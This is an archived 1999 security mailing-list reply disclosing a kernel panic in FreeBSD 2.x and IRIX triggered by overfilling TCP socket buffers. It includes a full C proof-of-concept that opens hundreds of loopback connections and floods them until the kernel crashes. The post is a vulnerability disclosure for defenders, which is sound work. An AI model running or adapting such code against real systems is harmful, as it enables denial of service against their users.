Re: freebsd mbuf crash

From: David G. Andersen (danderseat_private)
Date: Wed May 05 1999 - 16:25:46 PDT

  • Next message: Bernardo Quintero: "Corel Script Virus"

    There's another fairly easy way to exploit this on pre-3.0 systems, as
    an aside, but it requires either a fairly slow server process (or one
    which you can force to block), or local access.  The process is
    simple:
    
      connect
      send a big chunk of data which causes the TCP socket
           buffers to fill up before the remote process
           read()s it
      panic().
    
    I was going to send out a note about this, but since it's fixed in
    3.0ish systems, never bothered.  But while we're on the topic,
    there you go.
    
    The bug was actually pointed out in an indirect way by the author of a
    paper at sigcomm, who noticed the phenomenon in NetBSD while they were
    rewriting the buffer management routines.  I just wrote a small test
    program for it, and found they were right.  It also seems to affect
    IRIX systems, resulting in a hung system.
    
    Test program (for local users) is at the end of this message.
    It creates a socket, listen()s on it, and does nothing.
    The other process connects to this socket, and sends a bunch
    of junk.  I tested it against an early, early version of 3.0-current,
    and it appeared to be fixed.  Linux and AIX proved happy with it.
    Never got around to trying it on a Solaris box.
    
    CC:'d to bugtraq, since it does affect IRIX too.
    
       -Dave
    
    Lo and Behold, Don Lewis said:
    > On May 5, 12:35am, The Tech-Admin Dude wrote:
    > } Subject: Re: freebsd mbuf crash
    > } Raise NMBCLUSTERS in kernel config file
    >
    > That's the fix for FreeBSD panics caused by running out of mbuf clusters.
    >
    > The exploit code that was posted triggered a bug in the IP reassembly code
    > that was present in 3.0 between August and October last year (ip_input.c
    > versions 1.100 through 1.102).
    >
    >
    > To Unsubscribe: send mail to majordomoat_private
    > with "unsubscribe freebsd-security" in the body of the message
    >
    
    --
    work: danderseat_private                     me:  angioat_private
          University of Utah                            http://www.angio.net/
          Computer Science - Flux Research Group   "What's footnote FIVE?"
    
    /* Test program for TCP buffer overflow mbuf panic */
    /* Dave Andersen - danderseat_private */
    /* netbuf.c - gcc netbuf.c -o netbuf */
    
    #include <sys/types.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    
    #define MAXSOCK 500
    #define MY_BUFSIZE 32768
    #define MAGICPORT 29833
    
    #ifndef INADDR_LOOPBACK
    #define INADDR_LOOPBACK 0x7f000001
    #endif
    
    /*
     * Compiling:
     *   FreeBSD, AIX:  -DHAS_SIN_LEN
     *   Linux, IRIX:
     */
    /*
     * Vulnerable:
     *  FreeBSD-2.x
     *  IRIX
     * Not vulnerable:
     *  FreeBSD-3.0
     *  Linux 2.0.30
     *  AIX 4.1
     */
    
    
    struct sockaddr_in socka;
    
    void doecho() {
        int ls;
    
        ls = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        bind(ls, &socka, sizeof(socka));
        listen(ls, MAXSOCK);
    
        while (1) {
    	sleep(1);
        }
    }
    
    int main(int argc, char **argv) {
        int kidpid;
        int sendsock[MAXSOCK], recvsock[MAXSOCK];
        int i;
        int sock;
        int socksize;
        char buf[MY_BUFSIZE];
    
        socksize = 1048576;
        bzero(&socka, sizeof(socka));
        socka.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    #ifdef HAS_SIN_LEN
        socka.sin_len = sizeof(struct sockaddr_in);
    #endif
        socka.sin_family = AF_INET ;
        socka.sin_port = htons(MAGICPORT);
    
        kidpid = fork();
        if (kidpid > 0) {
    	doecho();
        } else {
    	/* A vague, horrible excuse for synchronization.  This
    	 * is a demonstration of a kernel flaw, not good coding
    	 * style. :-) */
    	sleep(2);
        }
    
        for (i = 0; i < MAXSOCK; i++)
        {
    	/* Open the socket connection, set the socket option */
    	sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    	setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &socksize, sizeof(socksize));
    	sendsock[i] = sock;
    	if (connect(sock, &socka, sizeof(socka))) {
    	    perror("could not connect");
    	}
    	printf("Opened\n");
        }
        printf("Starting the loop\n");
        while (1) {
    	for (i = 0; i < MAXSOCK; i++)
    	    write(sendsock[i], buf, MY_BUFSIZE);
        }
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:45:10 PDT